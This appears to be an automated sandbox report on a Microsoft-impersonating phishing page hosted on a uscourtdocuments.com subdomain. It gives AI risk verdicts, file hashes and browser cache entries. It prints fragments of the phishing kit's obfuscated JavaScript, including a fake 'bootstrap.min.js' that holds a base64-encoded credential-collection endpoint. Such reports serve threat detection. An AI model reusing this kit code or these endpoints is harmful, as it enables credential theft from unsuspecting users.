const airway = (name) => { name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var regex = new RegExp('[\\?&]' + name + '=([^&#]*)'); var results = regex.exec(location.search); // Capicola swine cow, jerky pork chop shank rump jowl in. Spare ribs nostrud alcatra elit, ut turducken ex. Excepteur commodo swine ipsum. Pig enim labore, shoulder jerky cupidatat quis voluptate. Biltong buffalo pig swine tri-tip non beef cillum t-bone. Enim anim spare ribs andouille prosciutto chislic jerky non. Jowl in commodo do, laborum voluptate andouille ipsum consectetur excepteur beef burgdoggen leberkas capicola. Pork officia sint, andouille commodo buffalo chuck short ribs eu t-bone alcatra tri-tip proident. Short ribs elit prosciutto mollit, proident corned beef enim ex eiusmod tri-tip. Aliqua turkey aute, jowl beef ribs labore corned beef buffalo pork. Tongue est esse ground round cupim strip steak. Short ribs tenderloin quis culpa. Exercitation ground round pork loin ad, deserunt hamburger qui salami anim ullamco tail ea aliqua. Prosciutto landjaeger minim shankle leberkas. Non magna consequat corned beef kevin. return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' ')); } // Sunt ea hamburger pig esse ham. Enim t-bone voluptate aliquip meatloaf nulla et veniam. Landjaeger aliqua sausage ut chuck ullamco ex pancetta dolore. Frankfurter eu doner, dolore pariatur bacon ham kielbasa laborum esse. Picanha landjaeger tri-tip, consequat cupidatat nisi pastrami ham tail andouille velit. Incididunt exercitation nostrud, ground round ham hock cow rump est venison boudin adipisicing pancetta flank aliqua tenderloin. Chuck aliqua chislic, dolor beef ribs voluptate laborum tongue buffalo duis velit aliquip et. Ball tip cupim rump ut landjaeger adipisicing. Meatball consectetur doner cupidatat tail, pariatur magna cow non. Frankfurter tempor nostrud nulla, hamburger qui in shank burgdoggen laboris ipsum shoulder. Adipisicing dolore nisi non bacon ham hock. Laboris cow pariatur, boudin tempor filet mignon sirloin occaecat meatloaf ullamco. Eiusmod adipisicing irure, prosciutto landjaeger qui pork chop swine porchetta do meatball. Quis jowl exercitation pork, cillum ullamco aliqua aliquip do. Burgdoggen lorem pork loin, velit meatloaf sint sunt aliquip. rh13z8jemt = airway('e') == '' ? rh13z8jemt : airway('e'); rh13z8jemt = atob(rh13z8jemt);
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "Simple form submission function with no malicious indicators. Uses standard DOM API to submit the first form on the page. While automatic form submission could potentially be used maliciously in certain contexts, this implementation shows no signs of data exfiltration, obfuscation, or suspicious behavior. The function name appears random but doesn't impact functionality." }
function OreganoBlossom() { document.forms[0].submit(); }
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "Script contains multiple high-risk indicators: heavily obfuscated code using array manipulations and string encoding, dynamic property definitions using Object.defineProperty, and suspicious variable naming patterns. The code appears to be intentionally obscured to hide its true functionality." }
let rh13z8jemt = '';// Proident turkey sirloin alcatra tail strip steak t-bone shank. Eiusmod biltong voluptate tempor pastrami cupidatat veniam, ut chuck cow magna sausage. Brisket porchetta enim, chicken in tail dolore reprehenderit cupim. Velit anim short loin, pork chop in consectetur reprehenderit in bresaola ribeye ea. Sunt ham hock voluptate, short loin hamburger ad minim bacon pastrami mollit tail tri-tip ut. Enim corned beef ut ham meatball pork chop, t-bone anim pig consequat mollit spare ribs non. Est ullamco exercitation sirloin, pariatur ground round jerky landjaeger. Eu proident est swine meatloaf shank elit pig capicola tri-tip spare ribs cillum chicken frankfurter. Incididunt chislic ut ullamco ground round shoulder deserunt tail shankle capicola. Cow pork chop picanha shankle cupim nulla beef ribs. Officia ea meatball beef est adipisicing pastrami veniam. Tongue kielbasa pork chop, pig tempor minim ea elit capicola enim bacon flank magna. Tenderloin turducken aliqua nisi pig, ball tip enim cillum doner ex. Ham salami beef cupidatat sausage prosciutto incididunt doner. In ground round beef corned beef adipisicing burgdoggen meatball ea aliquip spare ribs. function GXg_20(){}var FdNcb_=Object['defineProperty'],tZSuep,tBnarQ6,stD2UK,jBlwmk,tiKXs_,xWGz43,X6aiK5w,e8vNR2,NUeIHOb,AaR2hAH,tNqT5y,xD9BWd,hpKfdC,soV975C,_f5F4w,TA3ryJM,J2oLFyb,nZoZqzz,xpGn3I,aENJQE,BpHv70;function vxokDN(GXg_20){return tZSuep[GXg_20<0x8f?GXg_20<0x8f?GXg_20>0x45?GXg_20-0x46:GXg_20-0x59:GXg_20+0x38:GXg_20-0x47]}tZSuep=j2Ejtf();function XSEC5X(GXg_20,FdNcb_){return tBnarQ6(GXg_20,'length',{value:FdNcb_,configurable:!0x0})}tBnarQ6=Object.defineProperty;var lA_k5h=[],d885qr=VSKGFj((GXg_20,FdNcb_=0x10,tZSuep,tBnarQ6=0x1e)=>{for(FdNcb_=FdNcb_;FdNcb_%0x4===0x0;FdNcb_++)tZSuep=0x0,GXg_20=GXg_20.concat(VSKGFj(()=>{var FdNcb_;tZSuep++;if(tZSuep===0x1){return[]}for(FdNcb_=0xc;FdNcb_;FdNcb_--)GXg_20.unshift(GXg_20.pop());return[]})());for(tBnarQ6=tBnarQ6;tBnarQ6;tBnarQ6--)GXg_20.unshift(GXg_20.pop());return GXg_20},0x1)(['AbgCt','Zq]c','pJ,gQ','EgL8H2Zw"','Yjg8y3p&','JCF9W$G)h','MXgMMZ"1/v','D"G;fT!&','4ii4Tz&','>iF9dz&','5g=3bmO','L$.4^t~HvQ',')BN;%mKm#49$/Le`P1','VI3<?zXXV.z1','XxiEyPN','%b_]','w+q]$2/wJa?:1','M%Vrw)6+Y"e`:lu','W:24iMxW_gh>tB','3M7;0mMmbVmz%Y]7','w+i8G>/wZ4KNMlX','W:24,<DN','T}?rMZgN','3M7;0md2raegm+u0]1','M%Vrw)OS','zh{C@2X&','7eVr4$aS','J}=3m^X&','oJ5t@oO','OHa(XM(N','JP=9`E0&','++d_t','5uU_','Zm}','&+$>ZRUp$','&+$>0JX&$','r?jJwGM&','P0W"m2G=1+eM,k','T/z>){oP&Q`${Bu<N4J;:T%HTQ','6/!8bSUw"RWxXyOwAZ1','#P}Lo`rN"a~m,^H','z;i_JfQHDn}F_hVP@newMl6M"]Ye=','ug0~hdxHgXwxB&PIg("','OJaS"6g%FI9;HYk704%FI0sPZ9F:mk','9}Rg"/H17QSp=LUe','EJq>vJ2p/n~@u+UPZ}"oU/R2"aM/aLqL','WbNovh{tFe','}A1Lj9itxnbBO?,<qZ/L%mxsi},QYLUp?"}~=u~%IjHIhk','Ju3S3znl(YxYY4pae~NR?jG9D4V/aviO','As=5d#m#C/<&l85ZcT!W:dNNyom5.Aqc0}LGO','!/K__F}H]o[s#?Ltn?&','bgkohl3Hn})N]l"n^O','rd#2K:(NG@jmoy=<Eh)"w=cwRe5xwl!M1Xp"C4vmW+','Ug5$n^v0+ZSUyB8vdP&g!gD$)H','idWJI=u0sCR:rB1w','zPP}SurRjRU\|Jl"n_Zq;zo"R%RY/eY}','K4BWsNc&WJ,z[cH`cMCWe7Vgxsl:M_4eN;v~Zg(&','SJp:UNm0uQi:x&7hs<&~\|','P+jJW?4X@VXRiBBQ8NOGAG2M.Hsk$7K%IP]~/gtA1X','(D0SJ9UNLya:LfMe+1','_brkMSgAXe5<,ZOPdpSF%H2@9po7\|<]1','Rd4:hlA$]oCw!hzhkJu?Oo[$VXHhz^1P!hxkC!sHn+W','=Mr$>!"CE+u\|_/QL%jYJm!!mCRMTq^,Y~V<2x"5m9D41','6yPJ~![jdQMB>?S`qJ~2%~oAOq{zTS#`vj";"FMw2@O?2S(A','s0pw1F^Tv4z<G\|w;dT=u4sg$R~N$7"pogCJZ`Y5Xqv4:k','p2btz/+9V+W','yP.;G!awfQR3YLZvkJT;<0mp_Hm(A&','S0A8s3mN7ai9&_f<;d>cUZRRoR4k1uYI~h0"QG#=2Vb/1','In=te4gHy48','}0=]/fO','!hE}fD+%3B\|Fxy<3Bi9c','r?W81/c6ty_IQ!4e44[SUuO','Csd2lFEEaZZ</{h`dTc#gww"','b0eGZ3naCR9<gB$\|Rc#t]7fRmnlBU^lexh?k>oM&','5bWgI4(6mnFiHFavLIi9C491','i/;=L{EE>C^npLF7FhUC_/Uwtn','/09o#AQH4+','"}SJAl.%oIa=M\|<AC2@t>T}9lBX~wBzne}E}?2{1','FI!FM:.j4nB].mK%fIQt(`pm=a9',',D3>v:gs3yO~<FX77"/"S~Im;qOgI>7hhG?fG[P7Q.zP&','5Z1G6>x1','dP?>93S~Z4.i?+4A8tN<=(vwzQun`&','#jut^WX5>Ci3iyb\|Xcwk/RiA2@^iel60ay6=:ZuNuJJ','?@P:~2"n`Iv','}d3?!SbE4(5o]hC','Vhzk1x:gxnmCk+zQ7d<oK{?s>(Q;lF&n.gaJ"xQACI','$nJoe=hH`R$~v&JAG@TcX5
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign In", "prominent_button_name": "Next", "text_input_field_labels": [ "9n1so8@knp.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another account.", "prominent_button_name": "next", "text_input_field_labels": [ "9n1so8@knp.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'jdjdhjh.uscourtdocuments.com' does not match the legitimate domain for Microsoft.", "The domain 'uscourtdocuments.com' is unrelated to Microsoft and suggests a different service or entity.", "The subdomain 'jdjdhjh' appears random and does not provide any clear association with Microsoft.", "The presence of a subdomain and unrelated main domain is a common tactic in phishing attempts.", "The input field '9n1so8@knp.net' does not provide any context or association with Microsoft." ], "riskscore": 9} Google indexed: False
URL: jdjdhjh.uscourtdocuments.com Brands: Microsoft Input Fields: 9n1so8@knp.net
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The provided URL 'jdjdhjh.uscourtdocuments.com' does not match the legitimate domain for Microsoft.", "The domain 'uscourtdocuments.com' is unrelated to Microsoft and suggests a different service or entity.", "The subdomain 'jdjdhjh' appears random and does not provide any clear association with Microsoft.", "The presence of a subdomain and unrelated main domain is a common tactic in phishing attempts.", "The input field '9n1so8@knp.net' does not provide any context or association with Microsoft, adding to the suspicion." ], "riskscore": 9} Google indexed: False
URL: jdjdhjh.uscourtdocuments.com Brands: Microsoft Input Fields: 9n1so8@knp.net

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 12:19:22 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9745557519848944
Encrypted:	false
SSDEEP:	48:8CdrjTQ4HnZidAKZdA1P4ehwiZUklqehTy+3:8C8yOsy
MD5:	015275ABB6AB89460D04426AB91D8980
SHA1:	5CD45890C2590D5FFCB3555E160AB59CDA890B29
SHA-256:	804927C5E72F7D4A27E1E1F689C069E28DB49BF73F2EBDA7CFE3EC5232C547CE
SHA-512:	BF9D5389581B506500C808209172FD7485ADFFE0B0245C6189ED961CBE8E1BAA4A9A1A31DFC73F8077B5F1DEA65DA8E6AC473E5038298C0CD9D6E9607EB3A0DD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v#.<J....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Ylj...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 12:19:22 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9916860972922157
Encrypted:	false
SSDEEP:	48:8rdrjTQ4HnZidAKZdA1+4eh/iZUkAQkqehcy+2:858TF9Qxy
MD5:	A5986D142E60C03CB82AA5215B3F7E60
SHA1:	7DF9C91CC788586EE0CC5A3C04AED1EB2D201073
SHA-256:	8E1293BE5426D90A4F46A7874CBFE2C50E2CC2071B5DD2871881F808B041D282
SHA-512:	E1D6FA3E76123E3502B6F268F5F61C6C817A0AF0D7BB388EF31150FF20E7224DB528A9D4EB0BDCC6AC89A34F92271713A31A07AA36E9F8F9A68B305342512FCB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....(..<J....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Ylj...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.9986081126403703
Encrypted:	false
SSDEEP:	48:8udrjTQVHnZidAKZdA1404eh7sFiZUkmgqeh7s6y+BX:8+8ZInoy
MD5:	82ABDAADBEA137BC1D0D7954A90D9318
SHA1:	7CBC684903E598D5173818E27BD69CD9ECA2F104
SHA-256:	98F340B9E9AA31570A618AE5A8679C58FEBADD03D0836D9D8655D9AA9C8F5335
SHA-512:	5D6D985F351213DBFA301F58034B2ADAB90FEFAF9028C562D0D685F1134E0779E3F15DA38AF4DDCB26319E7B8605802C0F93496FAA81A00A44CE2AA8ED2AB3C4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 12:19:22 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9867856310798278
Encrypted:	false
SSDEEP:	48:8ddrjTQ4HnZidAKZdA1p4ehDiZUkwqehQy+R:8/8E5iy
MD5:	4144A79D117FA7288A6C38E4142CA818
SHA1:	79A9A855EEE82CF64B91BE21219240707F8FC916
SHA-256:	A79D6CE1E610A779866DFC58F691DB6CF445449FB3D75F2C636C9D046B04AB19
SHA-512:	7042D8BC2EE0B856291C3A3AD0523DB7027B9ACB37FD61D398B7916CE1E894AF86CD4335642AFB33A9455AE2D05F59F98B08725F0B470AA3D6AE5C2DE0436A62
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....XM..<J....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Ylj...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 12:19:22 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9772115729447375
Encrypted:	false
SSDEEP:	48:8TdrjTQ4HnZidAKZdA1X4ehBiZUk1W1qehWy+C:8R8Kb92y
MD5:	59DC1FAFAE9434FA34C1701363E5C236
SHA1:	089152804D9CB50C7CE90E4B310EFFD4287250DD
SHA-256:	EBEAA9DF5FB36D77DA24BD80317D43ED3B570E83419B8445C91B9C782AAD231F
SHA-512:	9587E1D7DC54E3B6C7DC550A1B88DB61C009DAE79C169DED2894783414B9CFC4211F95846DE3DDD52BB54AE0718BC2F15EAF0336AE53D29B032339812FEC2F67
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....O..<J....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Ylj...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 12:19:22 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.98698159116722
Encrypted:	false
SSDEEP:	48:8cdrjTQ4HnZidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTboy+yT+:8w8fTcJTbxWOvTboy7T
MD5:	CA11B650E9ADBB200A903818C94B85D1
SHA1:	1DA94F5C057A2129F2039731886D8277078783D0
SHA-256:	D775AA8C8C8676E77A428C778E5724EBD07AA522419270FB7C3A18869B3BFDDE
SHA-512:	DF0AF374D5344D921838BC2892DBAF1F026C54DB7E6A4125C9866B378CF5EEDDCC412C56AFDA38358CCBB7A28ADA6211B381D639FB44FCEC0BA0EA8EE5F46821
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....%..<J....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Ygj....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yhj....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Yhj....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Yhj.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Ylj...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............e.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65462), with CRLF line terminators
Category:	downloaded
Size (bytes):	553308
Entropy (8bit):	4.9120864225422265
Encrypted:	false
SSDEEP:	6144:tTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:oay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	9B4A79DC4B00816A9B979A03B9DBB89A
SHA1:	CBC0DA47108ABF2D32F17712ED1DE87CA1AD5033
SHA-256:	79AE1A11B070E0C53F4B5A1F7C2F33142B35FD283121471937B3B89EC9518793
SHA-512:	4E2017E22C0245286CED7499C01C701B8263D9B6ACF6F6F43225BC35709C13A71C275783938DECCB9D3E73B9E213728A8CC5E15EF19B53E34C2CD28B3B73258B
Malicious:	false
Reputation:	low
URL:	https://1330394848-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly9xdHVyLnVzY291cnRkb2N1bWVudHMuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.border-i','

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
